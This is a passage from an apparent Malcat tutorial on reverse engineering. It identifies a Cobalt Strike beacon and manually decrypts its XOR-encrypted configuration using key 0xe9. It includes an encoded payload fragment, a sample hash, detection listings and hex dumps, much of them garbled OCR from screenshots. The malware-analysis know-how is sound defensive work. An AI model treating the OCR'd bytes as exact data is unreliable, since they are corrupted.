|leeeo0obad: MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMiIyMjIyMjTIyMjIyMjIyMjI3aoz3B1gBbPViAzqOWmlVcfoB
|loeeee0co0: sivgeodiuuayepORk6Vjun+FczgXkiGXoiViohYWIip/hWxRDqyCY46qD63KbqV2iooydjIyOm41bngOmlVesoBsjVxhooy
|loeeeo0c60: djIyOma1bSdIgrYyMjcMVEFCIjcKjbSSNOyzSRIiOg5z0gBC0Oq1lCd]jIyOqHsSWIDO05HXx9eH7gdqjPoM8/ cHVOSYNDIyPL53
000000cce: UjISwjAyMjgNNedcuHdCMjqPtedap+28u7dCMjdHWGZt/LrXQjI9XWLEpm19xXWKE65mx3PL1nUFI65mx3RzyzV7 IyN@3FbfcM
000000d20: s/EiMjqH7XrmbHAHPL3HQ]I6DNZ9xW38va3dzcqPtOrmAncIxW2+QgIiMI8VMEYMidKLgIwMjI3DcVEFL/BMI6DNPELIAS
000000d80: MjfH146uB2qM9ycHVOqB7PViAznSMDIYN1qPVLIRQiIEhuK3VzcKpm3+UnKCPLhRMII6DNM8hloBwiVmiobt+ufCeodKkzGT
|loe000Rded: IWO6FxVzOpcyIZciIWL2NjYmKn8VbFEOPIJ]jjoPvecpuNWPwIkdXNwy8uTIiN1rqQnAyMjSSNzy/qTIiOg5zuonCdjIyOm3F
|loeee00ed0: aFdXTcVt/L4ZMiI9xW38uBFiljoOczfH146uB2qM+gzzd1qBbPViAzrmbTSy0jIyNzy8EgIlyN6esgAoB@iVijuupScDIyNzrm
000000ead: bTSwP2ITNzy@QnIyOg5y+0lSdjIyOm1Vb6da5Smo8uQIyMjc65mO8uEIyMjc8uwIyMjrmbTc8tblyMjoOczfergdagWzlYgMs
000000T00: g4oBOiVjOuZSdzcMueFSIjenoY4FctqIUnYyMjptVWwhDjfeCi5ScDIyMQ46oUgnwnY33gdqjPcnKgRt8jdXSuzt9z3FYz3F
000000T60: YV3FYry90qIlyOoXt+g5z0006bcVTigHosSIDMiVijcVjdly1@zIyN6éenXLjRciI3p8fergdqjPcqAeixIgMyIWPUk/ecujry
|leeeo00fco: MjpuNVMdXWMEhmLIXWK8VOKSMjenrIMEkj3FYz3FYV3FYry17c3Nyg5zN6fuDLmjAjIwbd3Nxc4Haoz6DH26DPD3B1dEUIIS
|lee00010208: Mjyxt3IyN6nCMiIyOo@3R1yzR2IyN@dapnBxvLL3YjI65803B1lyyF2IyOgRwcbIOkreapnBxfLNG8jI0kheapnBx/Lwég]jIly
000001080: yU4BkgeapnB2vLwKgjIOkqeajTy900IyNIKXmqZwdny8eoIyNIM6pnB3PLkBciI6DnP@lmeapnBzfLkKgjI3NIZXnLiagjI3
0000010e0: NJIZ3nLgqgjI3NIYHnLpagjIyyU66hnBwPLZ6wjI6DNL8VMOSMIpuNXIsuZsCMjSSZ5qhaHEiAzy3i0IyMs10NIJI3mAQ1YgM8
000001140: t+qCMjc8trFyIjekkneapnBzPLaagjI3PcVwc3y8pyIyOgHocSIDMjenospbEiIy0dB/YhMIxXBwOoZwc73FcHC8tDsSMjc3
|leee001128: VW3FCcHE8tyFiIjqGcHDEBHBXSjSSPcVwd]jy20xIyNzdXDeVwd3yxIWIiPcVwdH5CaLEiAzIiMjI3VOSwOQIDPLNBYiI6DNnY9 L
lle@0e01200: xXBw/cVwcX3FcHB8viKSMioOcvSSd5y5WpIyNz3FcHN9XXBXPLADM{I6DNL6pNBzum418B3F cHM8ukpCMieapnBzumd10zaF M
[,/ 0x00000000 (:0) auto v nocpy o siems @

Figure 8: Decrypting the injector's payload
Let us have a look at the decrypted PE file.

Third stage: Cobalt Strike beacon

What we are looking at now is a 205KB PE file of sha256
bb26724c27361a5881ebf646166423b9668fd4089cf50e4e493641d471d30fa9 (VT). Since

the file is pretty small and not obfuscated, we are most likely facing the last stage of the

infection chain. So first thing first, let us have a look at the summary view (F1) in Malcat:
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https://www.virustotal.com/gui/file/bb26724c27361a5881ebf646166423b9668fd4089cf50e4e493641d471d30fa9

.text

(148K8) > Metadata

Compile date: 2021-03-02 12:20:46
Exports:
Module name:

Exports date:

low entropy

» Signatures

2021-03-02 12:20:45

‘-——

beacon. d11 <= "o gcon.dll"

» Check online intelligence

Suspect 0dd Other
network network compiler
DownloadUsingPowershell - DownloadUsingWininet MSVC_2008_linker .
.rdata
(39KB) evasion laterj movement MSVC_2008_rich ||
Reflectiveloader ePrivileges -
.data
reloc downloader
Legend:
=& ..wr decrypts stuff?
[I] w . Code | Anomali > Run CAPA
i RW - Data code: XorInLoop(3@), StackArrayInitialisat¥gnX86(2), SpaghettiFunction(5), SequentialFunction(3), HighXreflLoopingFunction(4)
imports: PossiblePackerApiDynamicImport, DowMgoaderApiUsage(6), CryptoApiUsage(2)
S RX - Index integrity: NoChecksum
sections: SectionMostlyVirtual
“ RWX .. Rsrc strings: DynamicDl1lString. She”code-related

Dbg > Report

- .
Figure 9: Third stage

By just looking at the summary, we can infer that:

o The file is not packed (low entropy overall)
e The export name ( beacon.dll ) is pretty interesting

¢ |t seems to be able to download stuff

* |t seems to be able to decrypt stuff.

A first wild guess would be that it's a Cobalt Strike or meterpreter beacon. A quick look at the
threat intelligence report (Ctrl+l) confirms that we are indeed looking at a Cobalt Strike

beacon:

Intelligence source Level

v 0 HybridAnalysis
CrowdStrike Falcon Static Analysis (ML) MALICIOUS
Metadefender MALICIOUS
VirusTotal MALICIOUS

v JoeSandbox [NOT FOUND]

v I MWDB [NOT FOUND]

v MalwareBazaar [NOT FOUND]

v @ VirusTotal
AlYac MALICIOUS
APEX MALICIOUS
AVG MALICIOUS
Acronis MALICIOUS
Ad-Aware MALICIOUS
AhnLab-V3 MALICIOUS
Antiy-AVL MALICIOUS
Arcabit MALICIOUS
Avast MALICIOUS
Avira MALICIOUS
BitDefender MALICIOUS
BitDefenderTheta MALICIOUS
CAT-QuickHeal MALICIOUS
ClamAvV MALICIOUS
CrowdStrike MALICIOUS
Cylance MALICIOUS
Cynet MALICIOUS
Cyren MALICIOUS
DrWeb MALICIOUS
ESET-NOD32 MALICIOUS
Elastic MALICIOUS

Figure 10: Querying threat intelligence

Signature

100% matching
65% matching
70% matching

Generic.Exploit.Shellcode.2.303E41BD
Malicious

Win32:Agent-BCWB [Trj]

suspicious
Generic.Exploit.Shellcode.2.303E41BD
Trojan/Win.CobaltStrike.R417512
Trojan/Generic. ASMalwS.7868
Generic.Exploit.Shellcode.2.303E41BD
Win32:Agent-BCWB [Trj]

TR/Spy.Gen
Generic.Exploit.Shellcode.2.303E41BD
Al:Packer.309A9AA01D

PUA CobaltstrikeRI.520403470
Win.Trojan.CobaltStrike-8091534-0
win/malicious_confidence_100% (W)
Unsafe

Malicious (score: 100)
W32/Agent.CAl.gen!Eldorado
DLOADER.Trojan

a variant of Win32/CobaltStrike.Beacon.A
Windows.Trojan.CobaltStrike
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Cobalt Strike is a red team penetration test tool which is also used a lot by threat actors. We
won't analyze it in details since a lot of in-depth analyses can already be found online:

 https://www.mandiant.com/resources/defining-cobalt-strike-components

o https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/

 https://blog.talosintelligence.com/2020/09/coverage-strikes-back-cobalt-strike-
paper.html

e https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf

But what we will do is extract the configuration data from the beacon program. Cobalt Strike
is a very flexible piece of software driven by its configuration file. This configuration comes as
a serialized structure stored inside the .data section of the beacon. So let us try to extract it
using existing tools.

When tools fail

Cobalt Strike is pretty old and widespread, so it should not be a surprise that many tools
have been designed for it. We will first use SentinelOne's CobalStrikeParser to extract the
configuration from the third-stage beacon.

malcat@XPS:~/malware/bazaar/cobalt$ python parse_beacon_config.py
./beacon
[-] Failed to find any beacon configuration

No luck this time. We could also try a more up-to-date tool, Didier Steven's 1768.py, which
seems to support a broader variety of beacons:
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https://www.mandiant.com/resources/defining-cobalt-strike-components
https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
https://blog.talosintelligence.com/2020/09/coverage-strikes-back-cobalt-strike-paper.html
https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf
https://github.com/Sentinel-One/CobaltStrikeParser
https://github.com/DidierStevens/DidierStevensSuite/blob/master/1768.py

malcat@XPS:~/malware/bazaar/cobalt$ python 1768.py
./beacon

File: ./beacon

payloadType: 0x10014fc2

payloadSize: 0x00000000

intxorkey: Ox00000000

id2: Ox00000000

Skipping 32 bytes

payloadType: 0x00000003

payloadSize: 0x00000002

intxorkey: 0x00000004

id2: Ox00000018

MZ header not found, truncated dump:
00000000: 01 00

Again, no luck on this sample. Somehow, it could not infer the encryption key of the
configuration structure. Our last shot is to try to locate and decrypt the structure manually. By
chance, Malcat embeds a Cobalt Strike config parser. So after decryption, the structure will
be automatically parsed.

Manually extracting the configuration

In order to locate the config, we could reverse engineer the code of the program. But that
would take time, so let us focus on the data instead. We know that Cobalt Strike sotres its
configuration in the .data section. This section is relatively small (~ 8KB on disk) so it
should be easy to spot. We should look for:

* An encrypted block of data of a few hundred bytes
o With a code reference decrypting it
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e That starts with 00 01 00 01 00 02 00 when decrypted (that is the serialized form
of the BeaconType config value, all configs start with this)

We don't have to look for long to find our first candidate at address ©x10032020 . This check
all the boxes:

.data|010031F80: 78 00 @0 00 97 00 00 00 BS 00 00 @0 D4 00 00 00-F3 00 00 00 11 01 00 00 30 01 @0 00 4E 01 00 00 x U L’\ E %o e 00 N@
v Code references (3) .data||e10@31fa0: 6D @1 0 @0 FF FF FF FF 1E 00 00 00 3A 00 00 00-59 00 00 00 77 00 00 00 96 00 00 00 B4 00 00 00  mO Y
o 0x10009fcd (sub_10009F9e+2f) .data[|@10031fce: D3 @0 @0 00 F2 00 00 00 10 @1 00 00 2F Ol 00 00-4D 01 00 00 6C 01 00 00 01 00 00 00 Pl 60 00 00 E _ -0 /6 o 10 e @
LEoD Dyte ptr [cax+0x10032020], OXES .data[010031fe0: 01 00 00 00 Pl 00 00 00 01 00 00 00 01 00 00 oe-}s_zz{ D4 02 10 00 00 00 00 EB F4 62 1050 0000 00 © © © © ate- bpge.p M
o 0x10009fe5 (sub_10609F9e1d7) ’ % 0 00 00 SE 01 00 60 90 O1 00 00 58 F4 02 10-FF| FF FF FF FF FF FF FF FF FF FF FF[FF FF FF FF x "0 £0 X9&»
L push 0x10032020 .data|@160 [E9 F8 E9 E8 E9 EB E9 E1 E9 EB E9 E8 E9 EB E8 52-E9 EA E9 EB E9 ED E9 ES 03 89 E9 ED E9 EB E9 ED  UPUPUUURUUUPUUPRIOUUUVIGYEUVIULY é
o 0x1000a0af (sub_10009F0e+111) .data|010032040: refepengesc E9 E8 E9 EB E9 E9 E9 EE E9 EA-E8 E9 D9 68 76 D9 E4 EF EQ C3 6F Al 6F 1E E4 E8 U UUUYUPGUOUU-UOPU! hvl5 Gloiossp

L push ox10032020 .data||010032060: E8 ES E 8 64 E9 D9 68 60 EB 68 68 E9 40-C5 15 7A FD 1D 9E 87 EE CF 9B A6 5A E4 ©C 07 78  PpyUUhd(! h* UhhU@tez*exc r02250ux
.datall@1ee32080: BE C7 SE F9 E3 95 40 @03 OF 51 C3 FD 3D 98 22 FO-ED A2 6E 49 69 36 70 1B FA 4D 1C A6 CB AF 17 4B ¥An OO@VOQ)' y"—VénIiGpe-MLEf>>§K E
.data|0100320a0: 5C DF 2B 6D 3B 56 6A 12 5D 48 2F 6E A8 @6 AE 9F-93 3C A7 19 83 A6 A7 B9 61 26 FO 15 3E 93 1E EB  \Mim;Vit]H/n a«fo<ola20dag-=>640
.datal[0100320c0: 71 AS 7B F7 24 C5 19 A8 FB AQ 44 69 68 an A9 A1-01 F7 AB 86 8F FD C9 85 3B 3A C9 38 DA 73 D9 9D  qfi{. $+¢<‘aD1hM“1@ nahzpa; ;8 rslo
.data@10@320e0: ©A 7F 5B 95 F4 6B 8A 7D DA B9 F3 33 o5 38 EB-EA E8 E9 E8 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
.data|[610032100: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 |§{$ E&fqm @éé €9 E9 E9 E9 E9 E9 E9 E9 E9 E9
.data||010032120: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9

.datall@1ee32140: ES ES E9 E9 E9 E9 E9 ES E9 E9 ES E9 E9 E9 E9 E9-E9 E9 E9 E1 E9 EA E8 E9 D8 DB D9 C7 DD D1 C7 D1

Figure 11: Start candidate of encrypted config
In order to validate our assumption, let's decrypt this configuration:

o Select 0x1000 bytes starting from address 0x10032020
o Transform (Ctrl+T) the selection using a xor 0xe9 in a new file
» Malcat opens the result and identifies it as a Cobal Strike configuration

You can see these three steps in action below:

o fe: A o 5
@ Ma r al malwa ! ]

File Edit Analysis View Help

[ files (0 +0) =[] beacon
Name Size .data|010031f60: ©0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ~
v “i¢ Virtual File System .data||010031f70: FF FF FF FF 1E 00 00 00 3B 00 00 00 S5A 00 60 00 -z
v,cg\CarvedFiles Adata|019031f803 78 00 00 00 97 00 00 00 BS5 00 00 00 D4 00 00 00 X u A E
.data|010031f90: F3 00 00 00 11 01 00 00 30 01 00 00 4E 01 00 00 % «© 0@ Ne
.datal|010031fa0: 6D @1 00 @0 FF FF FF FF 1E 00 00 00 3A 00 00 00 me@ B H
.data|010031fb0: 59 00 00 00 77 00 00 00 96 00 00 00 B4 00 00 00 Y w a ‘{
.datal|@10031fco: D3 00 00 00 F2 00 00 00 10 01 00 00 2F 01 00 00 E - 0 /0

.datal|@1e@31fde: 4D @1 @0 @0 6C @1 00 00 @ 00 00 00 @ 00 00 00 Mo 1o © ]

£
» data (24 + 56 + 0) .datal|016031fe0: ©1 00 00 00 01 00 @0 00 O1 00 00 00 01 06 60 00 © © © O

v s Structures A .datal|@e1e031ff0: 571 D4 02 10 00 00 00 00 E8 F4 92 10 50 00 00 00 &E0» p9e»P
%MZ .data QJBOSZGBO: 78 00 00 00 SE 01 00 00 96 @1 00 60 58 F4 @2 10 X ~0 E@ X90>
] Rich .data||©10032010: FF| FF FF FF FF| FF FF FF FF FF FF FFFFFF
EPE .data(010032020: E9 E8 E9 E8 E9 EB E9 E1 E9 EB E9 E8 E9 EB E8 52 l:llfl!DUl:llgl'%UUU UDR
"= OptionalHeader .data||@10032030: E9 EA E9 EB E9 ED E9 E9 03 89 E9 ED E9 EB E9 ED  UOUUUVUUY 0
%Sect\ons .datal|@1e@32040: E9 F9 E9 E9 E9 EC E9 E8 E9 EB E9 E9 E9 EE E9 EA U'l'UUU)?UDlgUUUU uu
= v .data]010032050: ES8 E9 D9 68 76 D9 E4 EF E® C3 6F Al 6F 1E E4 E8  PU/hvI5 Gloiosop

f(x)code (950) .datal|@10032060: E8 E8 EC E9 EA 68 64 E9 D9 68 60 EB 68 68 E9 40 DDyUUhdUJh‘Uth@

- .datal/e18032070: C5 15 7A FD 1D 9E 87 EE CF 9B A6 5A E4 @C 07 78 +uz‘exc'H¢§Zc'!?-x

Name Size A data||010032080: BE C7 6E F9 E3 95 40 03 OF 51 C3 FD 3D 98 22 FO  ¥An"0o@¥sQf2=y"
9 sub_10001000 146 .datal|@10032090: ED A2 6E 49 69 36 70 1B FA 4D 1C A6 CB AF 17 4B  YonIi6pe-M_2g»tK
& sub_10001092 167 .data]010032026: 5C DF 2B 6D 3B 56 6A 12 5D 48 2F 6E A8 06 AE 9F  \Wim;VjeIH/n¢acf
/i sub_10001139 165 .datal|@10320b@: 93 3C A7 19 83 A6 A7 B9 61 26 F@ 15 3E 93 1E EB  6<°la29]a&-x>3.U
i) sub_100011de 109 .datal|@16@320c0: 71 A5 7B F7 24 C5 19 A8 FB A@ 44 69 68 4D A9 Al qN{ $+l<‘aD1hM”1

.datal|@1e@320de: ©1 F7 AB 86 8F FD C9 85 3B 3A C9 38 DA 73 D9 9D
/(’)f_”lz 129213‘15 fg v .data|010@320e6: @A 7F 5B 95 F4 6B 8A 7D DA B9 F3 33 05 F1 38 EB
Data .data|@100320f0: EA E8 E9 E8 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
Hexdump : .data|@10032100: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9

.datalle1e@32110: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
.datal|@10032120: E9 E9 ES E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
.datalle1e@32130: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
.datall010032140: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
.datall@1e@32150: E9 E9 E9 E1 E9 EA E8 E9 D8 DB D9 C7 DD D1 C7 D1

7A FD 1D 9E 87 EE CF 9B A6 5A E4 ©C @7 78 BE C7 6E
F9 E3 95 4@ @3 OF 51 C3 FD 3D 98 22 F@ ED A2 6E 49
69 36 70 1B FA 4D 1C A6 CB AF 17 4B 5C DF 2B 6D 3B

g Stuings " .data|@10032160: DC C7 DB DB D1 C5 C6 8A 84 E9 E9 E9 E9 E9 E9 E9
Ascii character |z .datalle1ee32170: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
UTF16-le character @ .data||@10032180: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
Ascii string z .datal|@10032190: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
Utf8 string .datall@16@321a0: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
Utfl6-le string  !invalid utfl6-le sequence! .data|@100321b0: E9 ES E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
B bers .datal@16@321ce: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
Unsigned byte ox7n .datalle1ee321de: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
" .datal|@100321e0: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
Signed byte 122 .data||e100321f0: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
Unsigned short ©xFD7A .datal|010032200: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9
Signed short -646 .datall@16@32210: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 5
Unsigned int ©x9E1DFD7A .data||@10032220: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 =
Signed int 1642201734 .datall@16@32230: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 -
Unsigned long long @x9BCFEEB79EIDFD7A ,  -dataoieeszzde: E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 D
- 2 .data|@10032250: E9 E9 E9 E9 E9 E9 E9 E9 E9 AA E9 E8 E9 EB E9 E9
< > .datalle10@32260: E9 AD E9 EB E9 ED 16 16 16 16 E9 AC E9 EB E9 ED v
Deleting analysis 16 [, 0x10031f60 (.data:f60) PE v x86 v 566 ms (V]

Figure 12: Decrypting the config config

This was pretty easy! We now have access to all the information we need. Now regarding the
causes that lead the existing tools to fail, it looks like SentinelOne's CobalStrikeParser did
not have the correct XOR key (0xe9) listed in its keys list:
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https://github.com/Sentinel-One/CobaltStrikeParser

XORBYTE
S = {
3 .

0x69,
4:
0x2e

}

| don't know if it is because this beacon is newer, or if the attacker modified the key himself.
At the end, relying on automatic tools only gets you so far.

Conclusion

Today we have seen how much information a simple .Ink shortcut can store and how they
should not be overlooked for threat hunting. Luckily Malcat's .Ink parser is pretty thorough
and can show most of the hidden gems of such files. Afterwards, we did see how to statically
decrypt and extract the configuration structure of a Cobalt Strike beacon using Malcat's
transforms. When all tools fail, there is always the good old hexadecimal editor.

| hope that you enjoyed this small forensic/unpacking session, more oriented towards
beginners this time. As usual, feel free to share with us your remarks or suggestions!
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